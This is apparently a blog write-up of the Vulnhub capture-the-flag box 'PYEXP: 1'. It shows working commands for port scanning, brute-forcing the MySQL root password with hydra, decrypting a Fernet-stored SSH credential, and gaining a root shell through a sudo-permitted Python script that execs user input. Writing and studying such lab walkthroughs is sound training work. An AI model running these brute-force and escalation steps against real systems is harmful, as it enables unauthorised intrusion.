Overview
“PYEXP: 1” is an interesting box as it teaches the concept of brute-forcing,database enumeration and exploiting dangerous python function.
Box Difficulty | Link |
---|---|
Medium | Vulnhub Link |
Recon
As usual, the standard masscan follow by nmap.
1
2
3
# masscan -p1-65535 192.168.205.118 --rate=1000 -e tun0
Discovered open port 3306/tcp on 192.168.205.118
Discovered open port 1337/tcp on 192.168.205.118
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
└─# nmap -sV -sC -p 1337,3306 -oN /opt/OSCP_PlayG/PyExp/nmap_full.txt 192.168.205.118
Starting Nmap 7.91 ( https://nmap.org ) at 2021-04-17 11:25 EDT
Nmap scan report for 192.168.205.118
Host is up (0.25s latency).
PORT STATE SERVICE VERSION
1337/tcp open ssh OpenSSH 7.9p1 Debian 10+deb10u2 (protocol 2.0)
| ssh-hostkey:
| 2048 f7:af:6c:d1:26:94:dc:e5:1a:22:1a:64:4e:1c:34:a9 (RSA)
| 256 46:d2:8d:bd:2f:9e:af:ce:e2:45:5c:a6:12:c0:d9:19 (ECDSA)
|_ 256 8d:11:ed:ff:7d:c5:a7:24:99:22:7f:ce:29:88:b2:4a (ED25519)
3306/tcp open mysql MySQL 5.5.5-10.3.23-MariaDB-0+deb10u1
| mysql-info:
| Protocol: 10
| Version: 5.5.5-10.3.23-MariaDB-0+deb10u1
| Thread ID: 38
| Capabilities flags: 63486
| Some Capabilities: Support41Auth, SupportsTransactions, InteractiveClient, IgnoreSpaceBeforeParenthesis, ConnectWithDatabase, SupportsCompression, LongColumnFlag, Speaks41ProtocolOld, FoundRows, SupportsLoadDataLocal, IgnoreSigpipes, DontAllowDatabaseTableColumn, Speaks41ProtocolNew, ODBCClient, SupportsMultipleResults, SupportsMultipleStatments, SupportsAuthPlugins
| Status: Autocommit
| Salt: d5z)[o=~(GllWRri9}.i
|_ Auth Plugin Name: mysql_native_password
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 10.69 seconds
From the output we can see that there is a SSH server on port 1337 and a MySQL service at port 3306. Honestly, there isn’t much to work on so the only option I could think of was to brute-force MySQL for password.
MYSQL - TCP 3306
Brute-forcing root password:
1
2
3
4
5
6
7
8
9
10
11
12
13
└─# hydra -l root -P /usr/share/wordlists/rockyou.txt 192.168.205.118 mysql
Hydra v9.1 (c) 2020 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these *** ignore laws and ethics anyway).
Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2021-04-17 11:45:00
[INFO] Reduced number of tasks to 4 (mysql does not like many parallel connections)
[DATA] max 4 tasks per 1 server, overall 4 tasks, 14344399 login tries (l:1/p:14344399), ~3586100 tries per task
[DATA] attacking mysql://192.168.205.118:3306/
[STATUS] 171.00 tries/min, 171 tries in 00:01h, 14344228 to do in 1398:05h, 4 active
...
...
[STATUS] 174.00 tries/min, 8178 tries in 00:47h, 14336221 to do in 1373:13h, 4 active
[3306][mysql] host: 192.168.205.118 login: root password: prettywoman
1 of 1 target successfully completed, 1 valid password found
That took awhile but the result is that we obtain the root password for mysql. Let’s enumerate the database for any credentials we can use to access the SSH server!
Shell as Lucy
Enumerating the database:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
└─# mysql --host 192.168.205.118 -u root -p
Enter password:
Welcome to the MariaDB monitor. Commands end with ; or \g.
Your MariaDB connection id is 22205
Server version: 10.3.23-MariaDB-0+deb10u1 Debian 10
MariaDB [(none)]> show databases;
+--------------------+
| Database |
+--------------------+
| data |
| information_schema |
| mysql |
| performance_schema |
+--------------------+
4 rows in set (0.253 sec)
MariaDB [(none)]> use data;
Database changed
MariaDB [data]> show tables;
+----------------+
| Tables_in_data |
+----------------+
| fernet |
+----------------+
1 row in set (0.270 sec)
MariaDB [data]> select * from fernet;
+--------------------------------------------------------------------------------------------------------------------------+----------------------------------------------+
| cred | keyy |
+--------------------------------------------------------------------------------------------------------------------------+----------------------------------------------+
| gAAAAABfMbX0bqWJTTdHKUYYG9U5Y6JGCpgEiLqmYIVlWB7t8gvsuayfhLOO_cHnJQF1_ibv14si1MbL7Dgt9Odk8mKHAXLhyHZplax0v02MMzh_z_eI7ys= | UJ5_V_b-TWKKyzlErA96f-9aEnQEfdjFbRKt8ULjdV0= |
+--------------------------------------------------------------------------------------------------------------------------+----------------------------------------------+
1 row in set (0.282 sec)
After enumerating the database server there isn’t much but the above.
As we can see from the above, there is a fernet table with the column name “cred” and “keyy” from the table name fernet.
A quick google about fernet leads me to “fernet encryption” :Fernet is a symmetric encryption method which makes sure that the message encrypted cannot be manipulated/read without the key.
When inputting the Token and Key into the site here, Fernet decryption!
We get the credentials below: Decoded: lucy:wJ9`“Lemdv9[FEw-
Great ! Now we have a possible username and password! Let’s try to SSH into the server
1
2
3
4
5
6
7
8
9
10
11
12
└─# ssh lucy@192.168.205.118 -p 1337
lucy@192.168.205.118's password:
Linux pyexp 4.19.0-10-amd64 #1 SMP Debian 4.19.132-1 (2020-07-24) x86_64
The programs included with the Debian GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.
Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
lucy@pyexp:~$ whoami
lucy
With that we are now in the system running as lucy!
Shell as Root
One of the first things i like to do is run beside running linpeas.sh
is to run sudo -l
to see if the current user is able to run any privilege commands which can be abused.
1
2
3
4
5
6
lucy@pyexp:/tmp$ sudo -l
Matching Defaults entries for lucy on pyexp:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin
User lucy may run the following commands on pyexp:
(root) NOPASSWD: /usr/bin/python2 /opt/exp.py
Interestingly , we can run /usr/bin/python2 /opt/exp.py
as root. A further look into the file reveals the below
1
2
3
4
lucy@pyexp:/tmp$ cat /opt/exp.py
uinput = raw_input('how are you?')
exec(uinput)
From the exp.py
file above we can see that it takes a user input. But what is dangerous here is that the script uses the vulnerable exec
function.
Why is exec
dangerous ? It is because it take strings and turn them into executable code! A user could build a string so that it runs other Python functions to potentially erase all your data, expose your secret keys, dump your database, or perform other malicious actions. Since we can execute the file as a root user, the command executed will be as root.
Thus a simple way to become root would be to use the python function to spawn a bash shell!
1
2
3
4
5
6
7
lucy@pyexp:/tmp$ sudo -u root /usr/bin/python2 /opt/exp.py
how are you?import pty; pty.spawn("/bin/bash")
root@pyexp:/tmp# whoami
root
root@pyexp:/tmp# id
uid=0(root) gid=0(root) groups=0(root)
And we are root!